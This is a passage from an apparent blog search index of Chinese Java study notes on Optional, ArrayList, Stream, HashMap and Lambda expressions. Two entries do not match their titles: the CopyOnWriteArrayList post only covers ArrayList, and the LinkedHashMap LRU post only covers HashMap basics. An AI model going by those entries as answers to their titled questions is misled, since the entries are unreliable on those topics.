class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="最佳实践"><a href="#最佳实践" class="headerlink" title="最佳实践"></a>最佳实践</h2><ol><li><strong>作为返回值</strong>：明确表示方法可能不返回结果</li><li><strong>不用于字段</strong>：字段用null，通过getter返回Optional</li><li><strong>不用于参数</strong>：使用重载或Builder模式</li><li><strong>避免isPresent + get</strong>：使用函数式操作</li><li><strong>不提供null默认值</strong>：默认值应是有意义的值</li></ol><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 优秀的API设计</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    <span class="comment">// 可能找不到用户，返回Optional</span></span><br><span class="line">    <span class="keyword">public</span> Optional&lt;User&gt; <span class="title function_">findById</span><span class="params">(Long id)</span> &#123; ... &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 用户必须存在，找不到抛异常</span></span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getById</span><span class="params">(Long id)</span> &#123; ... &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>Optional 是处理空值的优雅方案，但不是银弹。正确使用它能提高代码可读性和安全性，滥用则会导致性能问题和代码冗余。记住：<strong>Optional 是用于返回值的，不是用于字段和参数的</strong>。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Java </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CopyOnWriteArrayList 适合什么场景</title>
      <link href="//copyonwritearraylist-gua-he-shi-me-chang-jing/"/>
      <url>//copyonwritearraylist-gua-he-shi-me-chang-jing/</url>
      
        <content type="html"><![CDATA[<h1 id="CopyOnWriteArrayList-适合什么场景"><a href="#CopyOnWriteArrayList-适合什么场景" class="headerlink" title="CopyOnWriteArrayList 适合什么场景"></a>CopyOnWriteArrayList 适合什么场景</h1><p>ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;String&gt; names = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">names.add(<span class="string">&quot;Java&quot;</span>);</span><br><span class="line">names.add(<span class="string">&quot;Spring&quot;</span>);</span><br><span class="line">System.out.println(names.get(<span class="number">0</span>));</span><br></pre></td></tr></table></figure><h2 id="扩容机制"><a href="#扩容机制" class="headerlink" title="扩容机制"></a>扩容机制</h2><p>ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;Long&gt; ids = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;(<span class="number">1000</span>);</span><br></pre></td></tr></table></figure><h2 id="删除元素的正确方式"><a href="#删除元素的正确方式" class="headerlink" title="删除元素的正确方式"></a>删除元素的正确方式</h2><p>遍历时删除元素，不要直接在 for-each 里 remove：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Iterator&lt;String&gt; iterator = names.iterator();</span><br><span class="line"><span class="keyword">while</span> (iterator.hasNext()) &#123;</span><br><span class="line">    <span class="keyword">if</span> (iterator.next().startsWith(<span class="string">&quot;J&quot;</span>)) &#123;</span><br><span class="line">        iterator.remove();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Stream流式编程的最佳实践</title>
      <link href="//stream-liu-shi-bian-cheng-de-zui-jia-shi-jian/"/>
      <url>//stream-liu-shi-bian-cheng-de-zui-jia-shi-jian/</url>
      
        <content type="html"><![CDATA[<h1 id="Stream流式编程的最佳实践"><a href="#Stream流式编程的最佳实践" class="headerlink" title="Stream流式编程的最佳实践"></a>Stream流式编程的最佳实践</h1><p>Java 8 Stream API 提供了函数式风格的集合操作方式。本文从基础到高级，全面讲解 Stream 的正确用法和优化技巧。</p><h2 id="Stream-核心概念"><a href="#Stream-核心概念" class="headerlink" title="Stream 核心概念"></a>Stream 核心概念</h2><p>Stream 是对集合对象功能的增强，专注于对集合对象进行各种便利、高效的聚合操作。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;Integer&gt; numbers = Arrays.asList(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>, <span class="number">6</span>);</span><br><span class="line"></span><br><span class="line">List&lt;Integer&gt; result = numbers.stream()</span><br><span class="line">    .filter(n -&gt; n % <span class="number">2</span> == <span class="number">0</span>)   <span class="comment">// 过滤偶数</span></span><br><span class="line">    .map(n -&gt; n * n)            <span class="comment">// 平方</span></span><br><span class="line">    .collect(Collectors.toList());  <span class="comment">// 收集结果</span></span><br><span class="line"><span class="comment">// 结果: [4, 16, 36]</span></span><br></pre></td></tr></table></figure><h2 id="Stream-操作分类"><a href="#Stream-操作分类" class="headerlink" title="Stream 操作分类"></a>Stream 操作分类</h2><h3 id="中间操作（Intermediate）"><a href="#中间操作（Intermediate）" class="headerlink" title="中间操作（Intermediate）"></a>中间操作（Intermediate）</h3><p>返回新的 Stream，惰性执行：</p><table><thead><tr><th>操作</th><th>说明</th></tr></thead><tbody><tr><td>filter</td><td>过滤元素</td></tr><tr><td>map</td><td>一对一映射</td></tr><tr><td>flatMap</td><td>扁平化映射</td></tr><tr><td>distinct</td><td>去重</td></tr><tr><td>sorted</td><td>排序</td></tr><tr><td>peek</td><td>查看元素（调试）</td></tr><tr><td>limit</td><td>截断</td></tr><tr><td>skip</td><td>跳过</td></tr></tbody></table><h3 id="终结操作（Terminal）"><a href="#终结操作（Terminal）" class="headerlink" title="终结操作（Terminal）"></a>终结操作（Terminal）</h3><p>触发实际计算：</p><table><thead><tr><th>操作</th><th>说明</th></tr></thead><tbody><tr><td>forEach</td><td>遍历消费</td></tr><tr><td>collect</td><td>收集到集合</td></tr><tr><td>reduce</td><td>归约计算</td></tr><tr><td>count</td><td>计数</td></tr><tr><td>anyMatch/allMatch/noneMatch</td><td>匹配判断</td></tr><tr><td>findFirst/findAny</td><td>查找元素</td></tr><tr><td>min/max</td><td>最值</td></tr></tbody></table><h2 id="创建-Stream-的多种方式"><a href="#创建-Stream-的多种方式" class="headerlink" title="创建 Stream 的多种方式"></a>创建 Stream 的多种方式</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 从集合创建</span></span><br><span class="line">List&lt;String&gt; list = Arrays.asList(<span class="string">&quot;a&quot;</span>, <span class="string">&quot;b&quot;</span>, <span class="string">&quot;c&quot;</span>);</span><br><span class="line">Stream&lt;String&gt; stream1 = list.stream();         <span class="comment">// 串行</span></span><br><span class="line">Stream&lt;String&gt; stream2 = list.parallelStream(); <span class="comment">// 并行</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 从数组创建</span></span><br><span class="line">Stream&lt;String&gt; stream3 = Arrays.stream(<span class="keyword">new</span> <span class="title class_">String</span>[]&#123;<span class="string">&quot;a&quot;</span>, <span class="string">&quot;b&quot;</span>&#125;);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 从值创建</span></span><br><span class="line">Stream&lt;String&gt; stream4 = Stream.of(<span class="string">&quot;a&quot;</span>, <span class="string">&quot;b&quot;</span>, <span class="string">&quot;c&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 无限流</span></span><br><span class="line">Stream&lt;Integer&gt; infinite = Stream.iterate(<span class="number">0</span>, n -&gt; n + <span class="number">2</span>);</span><br><span class="line">Stream&lt;Integer&gt; limited = Stream.iterate(<span class="number">0</span>, n -&gt; n + <span class="number">2</span>).limit(<span class="number">100</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 生成器</span></span><br><span class="line">Stream&lt;Double&gt; random = Stream.generate(Math::random).limit(<span class="number">10</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 空流</span></span><br><span class="line">Stream&lt;String&gt; empty = Stream.empty();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 拼接流</span></span><br><span class="line">Stream&lt;String&gt; concat = Stream.concat(stream1, stream2);</span><br></pre></td></tr></table></figure><h2 id="常用操作详解"><a href="#常用操作详解" class="headerlink" title="常用操作详解"></a>常用操作详解</h2><h3 id="map-vs-flatMap"><a href="#map-vs-flatMap" class="headerlink" title="map vs flatMap"></a>map vs flatMap</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// map：一对一</span></span><br><span class="line">List&lt;String&gt; upper = names.stream()</span><br><span class="line">    .map(String::toUpperCase)</span><br><span class="line">    .collect(Collectors.toList());</span><br><span class="line"></span><br><span class="line"><span class="comment">// flatMap：一对多，扁平化</span></span><br><span class="line">List&lt;List&lt;Integer&gt;&gt; nested = Arrays.asList(</span><br><span class="line">    Arrays.asList(<span class="number">1</span>, <span class="number">2</span>),</span><br><span class="line">    Arrays.asList(<span class="number">3</span>, <span class="number">4</span>)</span><br><span class="line">);</span><br><span class="line"></span><br><span class="line">List&lt;Integer&gt; flat = nested.stream()</span><br><span class="line">    .flatMap(List::stream)</span><br><span class="line">    .collect(Collectors.toList());</span><br><span class="line"><span class="comment">// 结果: [1, 2, 3, 4]</span></span><br></pre></td></tr></table></figure><h3 id="reduce-归约"><a href="#reduce-归约" class="headerlink" title="reduce 归约"></a>reduce 归约</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 求和</span></span><br><span class="line"><span class="type">int</span> <span class="variable">sum</span> <span class="operator">=</span> numbers.stream()</span><br><span class="line">    .reduce(<span class="number">0</span>, Integer::sum);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 拼接字符串</span></span><br><span class="line"><span class="type">String</span> <span class="variable">joined</span> <span class="operator">=</span> names.stream()</span><br><span class="line">    .reduce(<span class="string">&quot;&quot;</span>, (a, b) -&gt; a + <span class="string">&quot;,&quot;</span> + b);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 求最大值</span></span><br><span class="line">Optional&lt;Integer&gt; max = numbers.stream()</span><br><span class="line">    .reduce(Integer::max);</span><br></pre></td></tr></table></figure><h3 id="collect-收集器"><a href="#collect-收集器" class="headerlink" title="collect 收集器"></a>collect 收集器</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 收集到List</span></span><br><span class="line">List&lt;String&gt; list = stream.collect(Collectors.toList());</span><br><span class="line"></span><br><span class="line"><span class="comment">// 收集到Set</span></span><br><span class="line">Set&lt;String&gt; set = stream.collect(Collectors.toSet());</span><br><span class="line"></span><br><span class="line"><span class="comment">// 收集到Map</span></span><br><span class="line">Map&lt;Long, String&gt; map = users.stream()</span><br><span class="line">    .collect(Collectors.toMap(User::getId, User::getName));</span><br><span class="line"></span><br><span class="line"><span class="comment">// 分组</span></span><br><span class="line">Map&lt;String, List&lt;User&gt;&gt; group = users.stream()</span><br><span class="line">    .collect(Collectors.groupingBy(User::getDepartment));</span><br><span class="line"></span><br><span class="line"><span class="comment">// 分区</span></span><br><span class="line">Map&lt;Boolean, List&lt;Integer&gt;&gt; partition = numbers.stream()</span><br><span class="line">    .collect(Collectors.partitioningBy(n -&gt; n % <span class="number">2</span> == <span class="number">0</span>));</span><br><span class="line"></span><br><span class="line"><span class="comment">// 统计</span></span><br><span class="line"><span class="type">IntSummaryStatistics</span> <span class="variable">stats</span> <span class="operator">=</span> numbers.stream()</span><br><span class="line">    .collect(Collectors.summarizingInt(Integer::intValue));</span><br><span class="line"><span class="comment">// stats.getAverage(), stats.getMax(), stats.getCount()</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 连接字符串</span></span><br><span class="line"><span class="type">String</span> <span class="variable">joined</span> <span class="operator">=</span> names.stream()</span><br><span class="line">    .collect(Collectors.joining(<span class="string">&quot;, &quot;</span>, <span class="string">&quot;[&quot;</span>, <span class="string">&quot;]&quot;</span>));</span><br><span class="line"><span class="comment">// 结果: [Alice, Bob, Charlie]</span></span><br></pre></td></tr></table></figure><h2 id="并行流注意事项"><a href="#并行流注意事项" class="headerlink" title="并行流注意事项"></a>并行流注意事项</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;Integer&gt; numbers = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line"><span class="comment">// 填充大量数据</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用并行流</span></span><br><span class="line">numbers.parallelStream()</span><br><span class="line">    .map(n -&gt; heavyComputation(n))</span><br><span class="line">    .collect(Collectors.toList());</span><br></pre></td></tr></table></figure><h3 id="适合并行流的场景"><a href="#适合并行流的场景" class="headerlink" title="适合并行流的场景"></a>适合并行流的场景</h3><ol><li>数据量大（通常 &gt; 10,000 条）</li><li>计算密集型操作</li><li>无状态、无副作用</li></ol><h3 id="不适合并行流的场景"><a href="#不适合并行流的场景" class="headerlink" title="不适合并行流的场景"></a>不适合并行流的场景</h3><ol><li>数据量小（线程切换开销 &gt; 并行收益）</li><li>需要严格顺序保证（<code>forEachOrdered</code> 性能差）</li><li>涉及共享可变状态</li></ol><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 错误！并发修改共享变量</span></span><br><span class="line">List&lt;Integer&gt; result = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">numbers.parallelStream().forEach(result::add);  <span class="comment">// 可能丢数据</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 正确：使用collect合并结果</span></span><br><span class="line">List&lt;Integer&gt; result = numbers.parallelStream()</span><br><span class="line">    .collect(Collectors.toList());</span><br></pre></td></tr></table></figure><h2 id="性能优化技巧"><a href="#性能优化技巧" class="headerlink" title="性能优化技巧"></a>性能优化技巧</h2><h3 id="1-优先使用基本类型-Stream"><a href="#1-优先使用基本类型-Stream" class="headerlink" title="1. 优先使用基本类型 Stream"></a>1. 优先使用基本类型 Stream</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 有装箱开销</span></span><br><span class="line">Stream&lt;Integer&gt; boxed = list.stream();</span><br><span class="line"><span class="type">int</span> <span class="variable">sum1</span> <span class="operator">=</span> boxed.reduce(<span class="number">0</span>, Integer::sum);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 无装箱，性能更好</span></span><br><span class="line"><span class="type">IntStream</span> <span class="variable">primitive</span> <span class="operator">=</span> list.stream().mapToInt(Integer::intValue);</span><br><span class="line"><span class="type">int</span> <span class="variable">sum2</span> <span class="operator">=</span> primitive.sum();</span><br></pre></td></tr></table></figure><h3 id="2-短路操作提前返回"><a href="#2-短路操作提前返回" class="headerlink" title="2. 短路操作提前返回"></a>2. 短路操作提前返回</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 找到第一个匹配即停止</span></span><br><span class="line">Optional&lt;String&gt; first = list.stream()</span><br><span class="line">    .filter(s -&gt; s.startsWith(<span class="string">&quot;A&quot;</span>))</span><br><span class="line">    .findFirst();  <span class="comment">// 短路操作</span></span><br></pre></td></tr></table></figure><h3 id="3-避免重复遍历"><a href="#3-避免重复遍历" class="headerlink" title="3. 避免重复遍历"></a>3. 避免重复遍历</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 错误：遍历两次</span></span><br><span class="line"><span class="type">long</span> <span class="variable">count</span> <span class="operator">=</span> list.stream().filter(...).count();</span><br><span class="line">List&lt;String&gt; result = list.stream().filter(...).collect(...);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 正确：收集后获取大小</span></span><br><span class="line">List&lt;String&gt; result = list.stream().filter(...).collect(...);</span><br><span class="line"><span class="type">long</span> <span class="variable">count</span> <span class="operator">=</span> result.size();</span><br></pre></td></tr></table></figure><h2 id="常见陷阱"><a href="#常见陷阱" class="headerlink" title="常见陷阱"></a>常见陷阱</h2><h3 id="1-Stream-只能消费一次"><a href="#1-Stream-只能消费一次" class="headerlink" title="1. Stream 只能消费一次"></a>1. Stream 只能消费一次</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Stream&lt;String&gt; stream = list.stream();</span><br><span class="line">stream.forEach(System.out::println);</span><br><span class="line">stream.filter(s -&gt; s.length() &gt; <span class="number">3</span>);  <span class="comment">// IllegalStateException!</span></span><br></pre></td></tr></table></figure><h3 id="2-不要在-Stream-中修改源数据"><a href="#2-不要在-Stream-中修改源数据" class="headerlink" title="2. 不要在 Stream 中修改源数据"></a>2. 不要在 Stream 中修改源数据</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 错误：ConcurrentModificationException</span></span><br><span class="line">List&lt;String&gt; list = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">list.stream().forEach(list::remove);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 正确：使用removeIf</span></span><br><span class="line">list.removeIf(s -&gt; s.length() &lt; <span class="number">3</span>);</span><br></pre></td></tr></table></figure><h3 id="3-注意空值处理"><a href="#3-注意空值处理" class="headerlink" title="3. 注意空值处理"></a>3. 注意空值处理</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 可能NPE</span></span><br><span class="line">List&lt;String&gt; result = list.stream()</span><br><span class="line">    .map(s -&gt; s.toUpperCase())  <span class="comment">// s可能为null</span></span><br><span class="line">    .collect(Collectors.toList());</span><br><span class="line"></span><br><span class="line"><span class="comment">// 安全写法</span></span><br><span class="line">List&lt;String&gt; result = list.stream()</span><br><span class="line">    .filter(Objects::nonNull)</span><br><span class="line">    .map(String::toUpperCase)</span><br><span class="line">    .collect(Collectors.toList());</span><br></pre></td></tr></table></figure><h2 id="最佳实践总结"><a href="#最佳实践总结" class="headerlink" title="最佳实践总结"></a>最佳实践总结</h2><ol><li><strong>优先使用 Stream</strong>：替代传统 for 循环，代码更简洁</li><li><strong>方法引用优于 Lambda</strong>：可读性更好</li><li><strong>注意并行流的前提条件</strong>：数据量大 + 无共享状态</li><li><strong>不要滥用 Stream</strong>：简单场景直接 for-each</li><li><strong>避免在 Stream 中修改外部状态</strong>：保持函数式纯净</li></ol><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 好的写法：声明式、简洁</span></span><br><span class="line">Map&lt;String, List&lt;Employee&gt;&gt; byDept = employees.stream()</span><br><span class="line">    .filter(e -&gt; e.getSalary() &gt; <span class="number">50000</span>)</span><br><span class="line">    .sorted(Comparator.comparing(Employee::getName))</span><br><span class="line">    .collect(Collectors.groupingBy(Employee::getDepartment));</span><br></pre></td></tr></table></figure><p>掌握 Stream API 是现代 Java 开发的必备技能，它能显著提升代码的简洁性和可读性。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Java </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>LinkedHashMap 如何实现 LRU 缓存</title>
      <link href="//linkedhashmap-ru-he-shi-xian-lru-huan-cun/"/>
      <url>//linkedhashmap-ru-he-shi-xian-lru-huan-cun/</url>
      
        <content type="html"><![CDATA[<h1 id="LinkedHashMap-如何实现-LRU-缓存"><a href="#LinkedHashMap-如何实现-LRU-缓存" class="headerlink" title="LinkedHashMap 如何实现 LRU 缓存"></a>LinkedHashMap 如何实现 LRU 缓存</h1><p>HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">userMap.put(<span class="number">1L</span>, <span class="string">&quot;小乐&quot;</span>);</span><br><span class="line">userMap.put(<span class="number">2L</span>, <span class="string">&quot;张三&quot;</span>);</span><br><span class="line">System.out.println(userMap.get(<span class="number">1L</span>));</span><br></pre></td></tr></table></figure><p>HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。</p><h2 id="扩容为什么要注意"><a href="#扩容为什么要注意" class="headerlink" title="扩容为什么要注意"></a>扩容为什么要注意</h2><p>默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">1024</span>);</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。</li><li>自定义对象作为 key 时，要正确重写 equals 和 hashCode。</li><li>不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。</li></ul>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Lambda表达式与函数式接口</title>
      <link href="//lambda-biao-da-shi-yu-han-shu-shi-jie-kou/"/>
      <url>//lambda-biao-da-shi-yu-han-shu-shi-jie-kou/</url>
      
        <content type="html"><![CDATA[<h1 id="Lambda表达式与函数式接口"><a href="#Lambda表达式与函数式接口" class="headerlink" title="Lambda表达式与函数式接口"></a>Lambda表达式与函数式接口</h1><p>Lambda 表达式是 Java 8 引入的最重要的语法特性，它让 Java 支持函数式编程风格。本文从基础语法到高级应用进行全面讲解。</p><h2 id="Lambda-基础语法"><a href="#Lambda-基础语法" class="headerlink" title="Lambda 基础语法"></a>Lambda 基础语法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 传统匿名内部类</span></span><br><span class="line"><span class="type">Runnable</span> <span class="variable">runnable</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Runnable</span>() &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">run</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;Hello&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Lambda 表达式</span></span><br><span class="line"><span class="type">Runnable</span> <span class="variable">runnable</span> <span class="operator">=</span> () -&gt; System.out.println(<span class="string">&quot;Hello&quot;</span>);</span><br></pre></td></tr></table></figure><h3 id="语法格式"><a href="#语法格式" class="headerlink" title="语法格式"></a>语法格式</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 无参数</span></span><br><span class="line">() -&gt; expression</span><br><span class="line"></span><br><span class="line"><span class="comment">// 单参数</span></span><br><span class="line">x -&gt; x * <span class="number">2</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 多参数</span></span><br><span class="line">(x, y) -&gt; x + y</span><br><span class="line"></span><br><span class="line"><span class="comment">// 多行语句</span></span><br><span class="line">(x, y) -&gt; &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">sum</span> <span class="operator">=</span> x + y;</span><br><span class="line">    <span class="keyword">return</span> sum;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="函数式接口"><a href="#函数式接口" class="headerlink" title="函数式接口"></a>函数式接口</h2><p>函数式接口是只有一个抽象方法的接口：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@FunctionalInterface</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">Predicate</span>&lt;T&gt; &#123;</span><br><span class="line">    <span class="type">boolean</span> <span class="title function_">test</span><span class="params">(T t)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="核心函数式接口"><a href="#核心函数式接口" class="headerlink" title="核心函数式接口"></a>核心函数式接口</h3><table><thead><tr><th>接口</th><th>方法签名</th><th>用途</th></tr></thead><tbody><tr><td>Predicate<T></td><td>boolean test(T t)</td><td>断言/过滤</td></tr><tr><td>Function&lt;T,R&gt;</td><td>R apply(T t)</td><td>转换</td></tr><tr><td>Consumer<T></td><td>void accept(T t)</td><td>消费</td></tr><tr><td>Supplier<T></td><td>T get()</td><td>供给</td></tr><tr><td>UnaryOperator<T></td><td>T apply(T t)</td><td>一元操作</td></tr><tr><td>BinaryOperator<T></td><td>T apply(T t1, T t2)</td><td>二元操作</td></tr></tbody></table><h3 id="使用示例"><a href="#使用示例" class="headerlink" title="使用示例"></a>使用示例</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;String&gt; names = Arrays.asList(<span class="string">&quot;Alice&quot;</span>, <span class="string">&quot;Bob&quot;</span>, <span class="string">&quot;Charlie&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// Predicate：过滤</span></span><br><span class="line">List&lt;String&gt; longNames = names.stream()</span><br><span class="line">    .filter(name -&gt; name.length() &gt; <span class="number">3</span>)</span><br><span class="line">    .collect(Collectors.toList());</span><br><span class="line"></span><br><span class="line"><span class="comment">// Function：映射</span></span><br><span class="line">List&lt;Integer&gt; lengths = names.stream()</span><br><span class="line">    .map(name -&gt; name.length())</span><br><span class="line">    .collect(Collectors.toList());</span><br><span class="line"></span><br><span class="line"><span class="comment">// Consumer：遍历</span></span><br><span class="line">names.forEach(name -&gt; System.out.println(name));</span><br><span class="line"></span><br><span class="line"><span class="comment">// Supplier：延迟创建</span></span><br><span class="line">Supplier&lt;List&lt;String&gt;&gt; listSupplier = () -&gt; <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br></pre></td></tr></table></figure><h2 id="方法引用"><a href="#方法引用" class="headerlink" title="方法引用"></a>方法引用</h2><p>当 Lambda 体只是调用一个已有方法时，可以使用方法引用：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 静态方法引用</span></span><br><span class="line">Function&lt;Integer, String&gt; toString = String::valueOf;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 实例方法引用（特定对象）</span></span><br><span class="line"><span class="type">String</span> <span class="variable">prefix</span> <span class="operator">=</span> <span class="string">&quot;Hello, &quot;</span>;</span><br><span class="line">Function&lt;String, String&gt; addPrefix = prefix::concat;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 实例方法引用（任意对象）</span></span><br><span class="line">Function&lt;String, Integer&gt; getLength = String::length;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 构造方法引用</span></span><br><span class="line">Supplier&lt;List&lt;String&gt;&gt; createList = ArrayList::<span class="keyword">new</span>;</span><br><span class="line">Function&lt;Integer, List&lt;String&gt;&gt; createListWithSize = ArrayList::<span class="keyword">new</span>;</span><br></pre></td></tr></table></figure><h2 id="常用场景"><a href="#常用场景" class="headerlink" title="常用场景"></a>常用场景</h2><h3 id="1-集合操作"><a href="#1-集合操作" class="headerlink" title="1. 集合操作"></a>1. 集合操作</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;Integer&gt; numbers = Arrays.asList(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 过滤 + 映射 + 归约</span></span><br><span class="line"><span class="type">int</span> <span class="variable">sum</span> <span class="operator">=</span> numbers.stream()</span><br><span class="line">    .filter(n -&gt; n % <span class="number">2</span> == <span class="number">0</span>)</span><br><span class="line">    .map(n -&gt; n * n)</span><br><span class="line">    .reduce(<span class="number">0</span>, Integer::sum);</span><br></pre></td></tr></table></figure><h3 id="2-排序"><a href="#2-排序" class="headerlink" title="2. 排序"></a>2. 排序</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;Person&gt; people = getPeople();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 按年龄升序</span></span><br><span class="line">people.sort(Comparator.comparing(Person::getAge));</span><br><span class="line"></span><br><span class="line"><span class="comment">// 按年龄降序</span></span><br><span class="line">people.sort(Comparator.comparing(Person::getAge).reversed());</span><br><span class="line"></span><br><span class="line"><span class="comment">// 多字段排序</span></span><br><span class="line">people.sort(Comparator.comparing(Person::getAge)</span><br><span class="line">    .thenComparing(Person::getName));</span><br></pre></td></tr></table></figure><h3 id="3-线程创建"><a href="#3-线程创建" class="headerlink" title="3. 线程创建"></a>3. 线程创建</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 旧方式</span></span><br><span class="line"><span class="keyword">new</span> <span class="title class_">Thread</span>(<span class="keyword">new</span> <span class="title class_">Runnable</span>() &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">run</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;Running&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;).start();</span><br><span class="line"></span><br><span class="line"><span class="comment">// Lambda 